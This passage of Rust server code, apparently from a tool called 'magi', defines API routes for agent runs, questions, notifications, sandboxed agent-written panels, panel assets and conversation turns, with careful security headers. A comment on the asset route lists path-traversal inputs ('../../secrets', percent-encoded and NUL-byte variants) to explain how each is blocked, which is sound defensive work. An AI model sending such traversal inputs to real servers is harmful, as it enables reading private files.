3462            if last == Some(revisions) {
3463                continue;
3464            }
3465            last = Some(revisions);
3466            let payload = serde_json::json!({
3467                "queue_rev": revisions.0,
3468                "runs_rev": revisions.1,
3469                "questions_rev": revisions.2,
3470                "talks_rev": revisions.3,
3471                "notifications_rev": revisions.4,
3472                "loop_rev": revisions.5,
3473            });
3474            // Serializing five integers cannot fail; giving up beats looping.
3475            let Ok(event) = Event::default().event("change").json_data(payload) else {
3476                break;
3477            };
3478            if tx.send(event).await.is_err() {
3479                break;
3480            }
3481        }
3482    });
3483    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3484        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3485}
3486
3487/// Change detection token for recorded runs under `runs`.
3488///
3489/// Combines the id and `run.json` modification time of each run, so adding,
3490/// updating, or deleting any run — even an older one — moves the revision and
3491/// notifies connected clients via the change stream. Returns 0 when no runs
3492/// exist.
3493fn runs_revision(runs: &FsPath) -> u64 {
3494    use std::hash::{Hash as _, Hasher as _};
3495
3496    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3497        .into_iter()
3498        .flatten()
3499        .flatten()
3500        .filter_map(|e| {
3501            let path = e.path().join("run.json");
3502            let mtime = path
3503                .metadata()
3504                .ok()?
3505                .modified()
3506                .ok()?
3507                .duration_since(std::time::UNIX_EPOCH)
3508                .ok()?
3509                .as_millis() as u64;
3510            let id = e.file_name().to_string_lossy().into_owned();
3511            Some((id, mtime))
3512        })
3513        .collect();
3514
3515    if entries.is_empty() {
3516        return 0;
3517    }
3518
3519    entries.sort_unstable();
3520    let mut hasher = std::hash::DefaultHasher::new();
3521    for (id, mtime) in &entries {
3522        id.hash(&mut hasher);
3523        mtime.hash(&mut hasher);
3524    }
3525    let h = hasher.finish();
3526    if h == 0 { 1 } else { h }
3527}
3528
3529/// Run ids under `runs`, newest first.
3530///
3531/// Rooted at an explicit directory rather than calling [`run::list_ids`],
3532/// which reads the process-global home: the server has to be drivable against
3533/// a temp directory for any of this to be testable.
3534fn run_ids(runs: &FsPath) -> Vec<String> {
3535    let mut ids: Vec<String> = std::fs::read_dir(runs)
3536        .into_iter()
3537        .flatten()
3538        .flatten()
3539        .filter(|e| e.path().join("run.json").is_file())
3540        .map(|e| e.file_name().to_string_lossy().into_owned())
3541        .collect();
3542    // Ids start with a sortable timestamp.
3543    ids.sort_unstable_by(|a, b| b.cmp(a));
3544    ids
3545}
3546
3547/// Read one run's state from an explicit runs root.
3548fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3549    let path = runs.join(id).join("run.json");
3550    let body =
3551        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3552    let state: RunState =
3553        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3554    if state.schema != run::SCHEMA {
3555        anyhow::bail!(
3556            "run {} was written by a different magi (schema {}, this build speaks {})",
3557            state.id,
3558            state.schema,
3559            run::SCHEMA
3560        );
3561    }
3562    Ok(state)
3563}
3564
3565/// Runs on disk under `runs` whose state this build cannot parse - almost
3566/// always a schema bump, occasionally a run killed mid-write.
3567///
3568/// Exposed so every surface that reports on runs shares one count instead of
3569/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
3570/// `magi doctor` calls this directly rather than guessing at the same number
3571/// a second way.
3572#[must_use]
3573pub fn runs_unreadable(runs: &FsPath) -> usize {
3574    run_ids(runs)
3575        .into_iter()
3576        .filter(|id| read_run(runs, id).is_err())
3577        .count()
3578}
3579
3580/// Expand an id or short id to exactly one run id.
3581fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3582    if runs.join(id).join("run.json").is_file() {
3583        return Ok(id.to_owned());
3584    }
3585    pick(run_ids(runs), id, "run")
3586}
3587
3588/// Expand an id or short id to exactly one task id.
3589fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3590    if queue.path_of(id).is_file() {
3591        return Ok(id.to_owned());
3592    }
3593    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3594}
3595
3596/// A question as the phone reads it.
3597///
3598/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
3599/// text already parsed into a node tree so the client never runs its own
3600/// markdown reader over agent-authored prose. A relative image path in it
3601/// resolves against this question's own panel asset route, which is the one
3602/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
3603/// separate, sandboxed document, but `detail` is rendered inline in the
3604/// operator's own page, so an image reference in it may only ever point at
3605/// files magi itself already serves for this question.
3606#[derive(Debug, Serialize)]
3607struct QuestionView {
3608    #[serde(flatten)]
3609    question: Question,
3610    detail_md: Vec<md::Node>,
3611    /// Is the ball in the agent's court right now?
3612    ///
3613    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
3614    /// [`Question::say`] - so this is the one field that tells the phone to
3615    /// disable the answer controls and show "waiting for the agent" instead of
3616    /// a card the owner can act on. Computed rather than stored on
3617    /// [`Question`] itself, on the same reasoning as `waiting` on
3618    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
3619    /// it here means the client never has to re-derive that rule.
3620    waiting_on_agent: bool,
3621    /// Who is waiting on this open question - see [`holder_of`]. Separate
3622    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
3623    /// anyone is there to take it.
3624    holder: Option<&'static str>,
3625}
3626
3627impl QuestionView {
3628    /// The view of `question`, reading who is waiting on it from `store`.
3629    ///
3630    /// `holder` needs the lease sidecar, which is why this is not a `From`.
3631    fn of(question: Question, store: &ask::Questions) -> Self {
3632        let base = md::ImageBase::QuestionPanel {
3633            id: question.id.clone(),
3634        };
3635        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
3636        Self {
3637            detail_md: md::to_nodes(&question.detail, &base),
3638            waiting_on_agent: question.waiting_on_agent(),
3639            holder,
3640            question,
3641        }
3642    }
3643}
3644
3645/// Who is honestly waiting on an open question right now: `"asker"` (the
3646/// agent's own `magi ask`), `"daemon"` (`magi serve` resuming its session), or
3647/// `"nobody"` - the asker is gone and the daemon has not picked it up.
3648///
3649/// `None` for a question that is settled, and for one no `magi ask` filed
3650/// (`cwd` unset), which has no agent to wait on it in the first place.
3651fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
3652    if !q.status.open() || q.cwd.is_none() {
3653        return None;
3654    }
3655    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
3656        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
3657        Some(_) => "asker",
3658        None => "nobody",
3659    })
3660}
3661
3662/// `GET /api/questions`.
3663///
3664/// Everything, not just the open ones: an answered question is the record of a
3665/// decision, and the phone is where the operator goes back to check what they
3666/// told an agent at 3am. `ask::Questions::list` already ranks open first.
3667async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3668    blocking(move || {
3669        Ok(Json(
3670            ui.questions
3671                .list()
3672                .into_iter()
3673                .map(|q| QuestionView::of(q, &ui.questions))
3674                .collect(),
3675        ))
3676    })
3677    .await
3678}
3679
3680/// `GET /api/notifications`: not dismissed, newest first, with the unread
3681/// count so the badge and the list cannot disagree.
3682async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3683    blocking(move || {
3684        let items = ui.notices.list();
3685        let unread = items.iter().filter(|n| n.unread()).count();
3686        Ok(Json(
3687            serde_json::json!({ "unread": unread, "items": items }),
3688        ))
3689    })
3690    .await
3691}
3692
3693fn notice_error(e: anyhow::Error) -> ApiError {
3694    // An unknown or malformed id and a vanished file are the same answer to
3695    // the phone: that notification is gone.
3696    ApiError::not_found(format!("{e:#}"))
3697}
3698
3699/// `POST /api/notifications/{id}/read`.
3700async fn notification_read(
3701    State(ui): State<Arc<Ui>>,
3702    Path(id): Path<String>,
3703) -> ApiResult<Json<Notice>> {
3704    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3705}
3706
3707/// `POST /api/notifications/{id}/dismiss`.
3708async fn notification_dismiss(
3709    State(ui): State<Arc<Ui>>,
3710    Path(id): Path<String>,
3711) -> ApiResult<Json<Notice>> {
3712    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3713}
3714
3715/// `POST /api/notifications/read-all`.
3716async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3717    blocking(move || {
3718        let changed = ui.notices.mark_all_read()?;
3719        Ok(Json(serde_json::json!({ "marked": changed })))
3720    })
3721    .await
3722}
3723
3724/// The body of `POST /api/questions/{id}/answer`.
3725///
3726/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
3727/// a bad request rather than a guess: an answer magi invented is worse than a
3728/// question left open.
3729#[derive(Debug, Default, Deserialize)]
3730#[serde(default, deny_unknown_fields)]
3731struct NewAnswer {
3732    choice: Option<String>,
3733    text: Option<String>,
3734}
3735
3736async fn question_answer(
3737    State(ui): State<Arc<Ui>>,
3738    Path(id): Path<String>,
3739    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3740) -> ApiResult<Json<QuestionView>> {
3741    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3742    let answer = match (body.choice, body.text) {
3743        (Some(c), None) => Answer::Choice(c),
3744        (None, Some(t)) => Answer::Text(t),
3745        (Some(_), Some(_)) => {
3746            return Err(ApiError::bad_request(
3747                "send either `choice` or `text`, not both",
3748            ));
3749        }
3750        (None, None) => {
3751            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3752        }
3753    };
3754
3755    blocking(move || {
3756        let id = resolve_question(&ui.questions, &id)?;
3757        let q = ui
3758            .questions
3759            .get(&id)
3760            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3761        if !q.status.open() {
3762            // Answered from the terminal, or by another phone, in between the
3763            // list and the tap. The UI shows the recorded answer rather than an
3764            // error, so it needs the record, not just the status.
3765            return Err(ApiError::conflict(format!(
3766                "question {} is already {}",
3767                q.short(),
3768                q.status.as_str()
3769            )));
3770        }
3771        // `Question::answer` owns the rules - an unoffered choice, free text on
3772        // a multiple-choice question, an empty reply - so the route does not
3773        // restate them and cannot drift from the CLI's behaviour.
3774        let (q, ()) = ui
3775            .questions
3776            .update(&q.id, |r| r.answer(answer))
3777            .map_err(ApiError::bad_request_from)?;
3778        Ok(Json(QuestionView::of(q, &ui.questions)))
3779    })
3780    .await
3781}
3782
3783/// The body of `POST /api/questions/{id}/say`.
3784#[derive(Debug, Deserialize)]
3785#[serde(deny_unknown_fields)]
3786struct NewSay {
3787    body: String,
3788}
3789
3790/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3791///
3792/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
3793/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3794/// file, so there is no turn to serialize against and no
3795/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
3796/// is a *different* process - the run parked behind `magi ask` - and picks
3797/// the reply up on its own poll of the very same file, same as an answer
3798/// does.
3799async fn question_say(
3800    State(ui): State<Arc<Ui>>,
3801    Path(id): Path<String>,
3802    body: std::result::Result<Json<NewSay>, JsonRejection>,
3803) -> ApiResult<Json<QuestionView>> {
3804    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3805    blocking(move || {
3806        let id = resolve_question(&ui.questions, &id)?;
3807        let q = ui
3808            .questions
3809            .get(&id)
3810            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3811        if !q.status.open() {
3812            // Same granularity as `question_answer`: answered or abandoned in
3813            // between the list and the tap is not this route's error to
3814            // explain any differently.
3815            return Err(ApiError::conflict(format!(
3816                "question {} is already {}",
3817                q.short(),
3818                q.status.as_str()
3819            )));
3820        }
3821        // `Question::say` owns the one rule that matters here - an empty
3822        // message tells the agent nothing - so the route does not restate it.
3823        let (q, ()) = ui
3824            .questions
3825            .update(&q.id, |r| r.say(body.body))
3826            .map_err(ApiError::bad_request_from)?;
3827        Ok(Json(QuestionView::of(q, &ui.questions)))
3828    })
3829    .await
3830}
3831
3832/// Expand an id or short id to exactly one question id.
3833fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3834    if store.path_of(id).is_file() {
3835        return Ok(id.to_owned());
3836    }
3837    pick(
3838        store.list().into_iter().map(|q| q.id).collect(),
3839        id,
3840        "question",
3841    )
3842}
3843
3844/// `GET /api/questions/{id}/panel`.
3845///
3846/// The panel an agent wrote for this question, as `text/html` under
3847/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3848/// A question without one is a 404 rather than an empty page: the client
3849/// preflights this route with `HEAD` and must be able to tell "no panel" from
3850/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3851/// parent document so it cannot tell the difference by looking.
3852///
3853/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3854/// sanitises or minifies it - a sanitiser is a list of things someone thought
3855/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3856/// is the direction that stays safe when an agent writes markup nobody
3857/// predicted.
3858async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3859    blocking(move || {
3860        let id = resolve_question(&ui.questions, &id)?;
3861        let Some(html) = ui.questions.panel_html(&id) else {
3862            return Err(ApiError::not_found(format!("question {id} has no panel")));
3863        };
3864        Ok(panel_response(
3865            "text/html; charset=utf-8",
3866            false,
3867            html.into_bytes(),
3868        ))
3869    })
3870    .await
3871}
3872
3873/// `GET /api/questions/{id}/asset/{name}`.
3874///
3875/// One file from the question's own panel directory, so a panel can show a
3876/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3877/// having to allow anything off this machine.
3878///
3879/// This is the only route in the server where a client names a file, so it is
3880/// the only one with a traversal surface, and the name is checked by
3881/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3882/// what is worth being explicit about, because the answer is not "all of it in
3883/// one place":
3884///
3885/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3886///   the raw request path and `{name}` spans exactly one segment, so a real
3887///   slash makes the request too long for the route and the router answers 404.
3888/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3889///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3890///   `..\secrets` respectively, which look like plain filenames to the router.
3891///   The validator refuses them here - both for the literal `..` and because
3892///   `/` and `\` are not in the permitted character set - and answers 400.
3893/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3894///   the platform's path API is not, and it is refused here for the same
3895///   reason: NUL is not a permitted character.
3896/// * [`Questions::panel_asset`] validates again on read, so the check is not
3897///   load-bearing in only one place. This route's own check exists so the
3898///   failure is a 400 that says which name was wrong, rather than a store error
3899///   the operator has to interpret.
3900async fn question_asset(
3901    State(ui): State<Arc<Ui>>,
3902    Path((id, name)): Path<(String, String)>,
3903) -> ApiResult<Response> {
3904    // Before any filesystem work and before any path is built: a name this
3905    // server will not serve should not become a `PathBuf` at all.
3906    if !crate::ask::valid_asset_name(&name) {
3907        return Err(ApiError::bad_request(format!(
3908            "`{name}` is not a usable asset name"
3909        )));
3910    }
3911    blocking(move || {
3912        let id = resolve_question(&ui.questions, &id)?;
3913        let asset = ui
3914            .questions
3915            .panel_asset(&id, &name)
3916            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3917        let Some(bytes) = asset else {
3918            return Err(ApiError::not_found(format!(
3919                "question {id} has no asset `{name}`"
3920            )));
3921        };
3922        Ok(panel_response(
3923            asset_content_type(&name),
3924            is_svg(&name),
3925            bytes,
3926        ))
3927    })
3928    .await
3929}
3930
3931/// Content type for a panel asset, from a closed whitelist.
3932///
3933/// A whitelist with an `application/octet-stream` fallback rather than a
3934/// guess, because the one answer that must never come out of here is
3935/// `text/html`. An agent that writes `notes.html` into its panel directory and
3936/// links it would otherwise get its own markup rendered at the top level of the
3937/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3938/// magi's origin - which is precisely the thing the panel design exists to
3939/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3940///
3941/// `nosniff` accompanies this on every response, so a browser cannot decide it
3942/// knows better than the type we sent.
3943fn asset_content_type(name: &str) -> &'static str {
3944    match extension(name).as_deref() {
3945        Some("png") => "image/png",
3946        Some("jpg" | "jpeg") => "image/jpeg",
3947        Some("gif") => "image/gif",
3948        Some("webp") => "image/webp",
3949        Some("svg") => "image/svg+xml",
3950        Some("css") => "text/css; charset=utf-8",
3951        Some("txt") => "text/plain; charset=utf-8",
3952        _ => "application/octet-stream",
3953    }
3954}
3955
3956/// Is this an SVG, and therefore a file that must never be opened at the top
3957/// level?
3958fn is_svg(name: &str) -> bool {
3959    extension(name).as_deref() == Some("svg")
3960}
3961
3962/// Lowercased extension, or `None` for a name without one.
3963fn extension(name: &str) -> Option<String> {
3964    name.rsplit_once('.')
3965        .map(|(_, ext)| ext.to_ascii_lowercase())
3966}
3967
3968/// Every panel response, with the four headers that make it safe and, for an
3969/// SVG, a fifth.
3970///
3971/// One function rather than a header list per handler, because a panel route
3972/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3973/// model gone, silently, on one of two routes. Adding a third panel route later
3974/// means calling this, and there is nowhere else to build a panel response.
3975///
3976/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3977/// as an `<img src>` inside the panel that script cannot run - but the asset
3978/// URL is also a plain URL an operator can be talked into opening in a tab,
3979/// where it is a document on magi's own origin. `Content-Disposition:
3980/// attachment` makes the browser download it instead of rendering it, which
3981/// closes that door without taking away the ability to draw a diff. Raster
3982/// images have no such execution surface and are left inline, so tapping a
3983/// screenshot still shows it.
3984fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3985    let mut res = (
3986        [
3987            (header::CONTENT_TYPE, content_type),
3988            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3989            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3990            (header::REFERRER_POLICY, "no-referrer"),
3991        ],
3992        body,
3993    )
3994        .into_response();
3995    if download {
3996        res.headers_mut().insert(
3997            header::CONTENT_DISPOSITION,
3998            HeaderValue::from_static("attachment"),
3999        );
4000    }
4001    res
4002}
4003
4004/// A talk as the phone reads it.
4005///
4006/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
4007/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
4008/// parses markdown itself - and the process-local `thinking` hint.
4009#[derive(Debug, Serialize)]
4010struct TalkView {
4011    #[serde(flatten)]
4012    talk: Talk,
4013    turn_bodies_md: Vec<Vec<md::Node>>,
4014    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
4015    /// this server process.
4016    ///
4017    /// This is deliberately not durable: another server process cannot see
4018    /// it, and a restarted server must not claim an old turn is live. It is a
4019    /// progress hint rather than proof a reply landed; the transcript remains
4020    /// the source of truth for that.
4021    thinking: bool,
4022}
4023
4024impl TalkView {
4025    fn new(talk: Talk, thinking: bool) -> Self {
4026        let turn_bodies_md = talk
4027            .turns
4028            .iter()
4029            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4030            .collect();
4031        Self {
4032            turn_bodies_md,
4033            thinking,
4034            talk,
4035        }
4036    }
4037}
4038
4039/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
4040/// conversation has filed, so the phone can follow one from inside the
4041/// conversation that asked for it rather than hunting the Queue for a task id
4042/// it may not remember.
4043#[derive(Debug, Serialize)]
4044struct TalkDetailView {
4045    #[serde(flatten)]
4046    view: TalkView,
4047    tasks: Vec<TaskView>,
4048}
4049
4050/// `GET /api/talks`.
4051///
4052/// Every conversation, open ones first and newest first - [`Talks::list`]'s
4053/// own order.
4054async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4055    blocking(move || {
4056        Ok(Json(
4057            ui.talks
4058                .list()
4059                .into_iter()
4060                .map(|talk| {
4061                    let thinking = ui.is_thinking(&talk.id);
4062                    TalkView::new(talk, thinking)
4063                })
4064                .collect(),
4065        ))
4066    })
4067    .await
4068}
4069
4070/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
4071/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
4072/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
4073/// end still opens a talk against an older binary.
4074#[derive(Debug, Default, Deserialize)]
4075#[serde(default)]
4076struct NewTalk {
4077    agent: Option<String>,
4078    repo: Option<PathBuf>,
4079}
4080
4081/// `POST /api/talks` - open a conversation. Takes no agent turn: see
4082/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
4083async fn talk_post(
4084    State(ui): State<Arc<Ui>>,
4085    body: std::result::Result<Json<NewTalk>, JsonRejection>,
4086) -> ApiResult<impl IntoResponse> {
4087    // An absent body, or an empty one, is the normal way to open a talk - see
4088    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
4089    // rather than refused.
4090    let body = match body {
4091        Ok(Json(body)) => body,
4092        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4093        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4094    };
4095    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4096    let cfg = config_for(&repo).await?;
4097    let view = blocking(move || {
4098        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4099        let thinking = ui.is_thinking(&talk.id);
4100        Ok(TalkView::new(talk, thinking))
4101    })
4102    .await?;
4103    Ok((StatusCode::CREATED, Json(view)))
4104}
4105
4106/// `GET /api/talks/{id}`.
4107async fn talk_detail(
4108    State(ui): State<Arc<Ui>>,
4109    Path(id): Path<String>,
4110) -> ApiResult<Json<TalkDetailView>> {
4111    blocking(move || {
4112        let id = resolve_talk(&ui.talks, &id)?;
4113        let talk = ui.talks.get(&id)?;
4114        let thinking = ui.is_thinking(&talk.id);
4115        let tasks = talk::tasks_of(&ui.queue, &talk.id)
4116            .into_iter()
4117            .map(TaskView::from)
4118            .collect();
4119        Ok(Json(TalkDetailView {
4120            view: TalkView::new(talk, thinking),
4121            tasks,
4122        }))
4123    })
4124    .await
4125}
4126
4127/// The body of `POST /api/talks/{id}/say`.
4128///
4129/// `attachments` names ids `POST /api/talks/{id}/attachments` already
4130/// returned - never bytes of its own - so a turn with no images just omits
4131/// the field, which is what an older front end still does.
4132#[derive(Debug, Default, Deserialize)]
4133#[serde(default, deny_unknown_fields)]
4134struct NewTalkTurn {
4135    text: String,
4136    attachments: Vec<String>,
4137}
4138
4139#[derive(Debug, Deserialize)]
4140#[serde(deny_unknown_fields)]
4141struct EditTalkPending {
4142    text: String,
4143    expected_text: String,
4144    expected_attachments: Vec<String>,
4145}
4146
4147#[derive(Debug, Deserialize)]
4148#[serde(deny_unknown_fields)]
4149struct ClearTalkPending {
4150    expected_text: String,
4151    expected_attachments: Vec<String>,
4152}
4153
4154/// `POST /api/talks/{id}/say` - one turn of the conversation.
4155///
4156/// Not filesystem work, and therefore not routed through [`blocking`]: this
4157/// route spawns an agent CLI and a turn here can run for the whole of
4158/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
4159/// research turn is expected to run commands rather than answer from what it
4160/// already knows. Holding an HTTP connection open that long is not a thing
4161/// to ask a phone to do; the operator's message is recorded and answered for
4162/// immediately, and the reply lands in the background, discovered through
4163/// the change stream's `talks_rev` the same way every other update on this
4164/// surface is.
4165async fn talk_say(
4166    State(ui): State<Arc<Ui>>,
4167    Path(id): Path<String>,
4168    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4169) -> ApiResult<(StatusCode, Json<TalkView>)> {
4170    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4171    if body.text.trim().is_empty() && body.attachments.is_empty() {
4172        return Err(ApiError::bad_request("say something"));
4173    }
4174
4175    let id = {
4176        let ui = Arc::clone(&ui);
4177        let asked = id.clone();
4178        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4179    };
4180    // A closed Talk never accepts a new immediate or queued turn. Check this
4181    // before claiming a slot so its ordinary domain refusal is a 409, not an
4182    // incidental failure from the later record/queue write.
4183    {
4184        let ui = Arc::clone(&ui);
4185        let id = id.clone();
4186        blocking(move || {
4187            let talk = ui.talks.get(&id)?;
4188            if !talk.status.open() {
4189                return Err(ApiError::conflict(format!(
4190                    "talk {} is {} and takes no more turns",
4191                    talk.short(),
4192                    talk.status.as_str()
4193                )));
4194            }
4195            Ok(())
4196        })
4197        .await?;
4198    }
4199
4200    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
4201    // actually stores, before anything is written - an unknown id is a 4xx
4202    // that names it rather than a turn (or a queued draft) silently missing
4203    // an image.
4204    let attachments = {
4205        let ui = Arc::clone(&ui);
4206        let id = id.clone();
4207        let ids = body.attachments.clone();
4208        blocking(move || {
4209            ids.into_iter()
4210                .map(|att_id| {
4211                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4212                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4213                    })
4214                })
4215                .collect::<ApiResult<Vec<talk::Attachment>>>()
4216        })
4217        .await?
4218    };
4219
4220    // Pending recovery and a new immediate turn are decided under the same
4221    // claim lock. Without that one critical section, a second `/say` can see
4222    // the first request's claim as "busy" and append itself to the recovered
4223    // draft before the first request rejects it.
4224    let start = {
4225        let ui = Arc::clone(&ui);
4226        let id = id.clone();
4227        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4228    };
4229    let turn_guard = match start {
4230        TalkTurnStart::Claimed(turn_guard) => turn_guard,
4231        TalkTurnStart::Pending => {
4232            return Err(ApiError::conflict(
4233                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4234            ));
4235        }
4236        TalkTurnStart::Busy => {
4237            // A turn is already running: queue rather than refuse. See
4238            // `Ui::begin_talk_turn` and `talk::queue`.
4239            //
4240            // The queue write and the drain it may owe live inside the task
4241            // `tokio::spawn` hands to the runtime, for the same reason the
4242            // immediate path below puts `record` there: a dropped handler
4243            // future must not be able to land between a durable write and
4244            // the task that answers it. `blocking` runs its closure on
4245            // `spawn_blocking`, which finishes whether or not anyone is left
4246            // to receive its result - so a disconnect at the `.await` below
4247            // would otherwise leave the draft persisted and the reclaimed
4248            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
4249            // ever started and the queued text stranded until some later
4250            // `say` happened to pick it up. The caller's 202 travels back
4251            // over a `oneshot`, sent the moment the write lands.
4252            let (tx, rx) = tokio::sync::oneshot::channel();
4253            tokio::spawn({
4254                let ui = Arc::clone(&ui);
4255                let id = id.clone();
4256                let said = body.text.clone();
4257                async move {
4258                    let written = blocking({
4259                        let ui = Arc::clone(&ui);
4260                        let id = id.clone();
4261                        move || {
4262                            let mut talk = ui.talks.get(&id)?;
4263                            // A test-only stop point, right before the write
4264                            // an interleaving test needs to pin - see
4265                            // `BusyQueueGate`. `None` in every real server:
4266                            // the field only exists under `#[cfg(test)]`.
4267                            #[cfg(test)]
4268                            if let Some(gate) = ui
4269                                .busy_queue_gate
4270                                .lock()
4271                                .unwrap_or_else(PoisonError::into_inner)
4272                                .take()
4273                            {
4274                                let _ = gate.reached.send(());
4275                                let _ = gate.release.recv();
4276                            }
4277                            if let Err(error) =
4278                                talk::queue(&mut talk, &ui.talks, &said, attachments)
4279                            {
4280                                if let Ok(fresh) = ui.talks.get(&id) {
4281                                    if !fresh.status.open() {
4282                                        return Err(ApiError::conflict(format!(
4283                                            "talk {} is {} and takes no more turns",
4284                                            fresh.short(),
4285                                            fresh.status.as_str()
4286                                        )));
4287                                    }
4288                                }
4289                                return Err(ApiError::from(error));
4290                            }
4291                            // The turn that looked busy a moment ago can have
4292                            // finished, found nothing to drain and given up the
4293                            // slot in the gap between that check and this write
4294                            // landing - see `drain_loop`'s own doc for the other
4295                            // half of why that gap would otherwise be able to
4296                            // open at all. Reclaiming the slot here, rather than
4297                            // trusting that whoever held it is still watching, is
4298                            // what stops the text just queued from being stranded
4299                            // until an unrelated future `say` happens to drain
4300                            // it.
4301                            let claim = match ui.begin_queued_talk_turn(&id)? {
4302                                Some(turn_guard) => {
4303                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4304                                    Some((talk.clone(), cfg, turn_guard))
4305                                }
4306                                None => None,
4307                            };
4308                            let thinking = ui.is_thinking(&id);
4309                            Ok((TalkView::new(talk, thinking), claim))
4310                        }
4311                    })
4312                    .await;
4313                    let (view, reclaimed) = match written {
4314                        Ok(pair) => pair,
4315                        Err(e) => {
4316                            // Nobody is listening if the handler's own future
4317                            // was already dropped - that is fine, nothing was
4318                            // persisted and there is no response left to carry
4319                            // this error to.
4320                            let _ = tx.send(Err(e));
4321                            return;
4322                        }
4323                    };
4324                    // If this fails, the caller is gone; the drain below still
4325                    // runs exactly as it would have for a caller that stayed.
4326                    let _ = tx.send(Ok(view));
4327                    if let Some((talk, cfg, turn_guard)) = reclaimed {
4328                        let talks = ui.talks.clone();
4329                        drain_loop(talk, talks, cfg, id, turn_guard).await;
4330                    }
4331                }
4332            });
4333            let view = rx
4334                .await
4335                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4336            return Ok((StatusCode::ACCEPTED, Json(view)));
4337        }
4338    };
4339
4340    let (talk, cfg) = {
4341        let ui = Arc::clone(&ui);
4342        let id = id.clone();
4343        blocking(move || {
4344            let talk = ui.talks.get(&id)?;
4345            let (cfg, _) = Config::discover(&talk.repo, None)?;
4346            Ok((talk, cfg))
4347        })
4348        .await?
4349    };
4350
4351    let talks = ui.talks.clone();
4352    // `record` runs *inside* the spawned task, rather than in this handler
4353    // followed by a separate `tokio::spawn` for `respond` - axum drops this
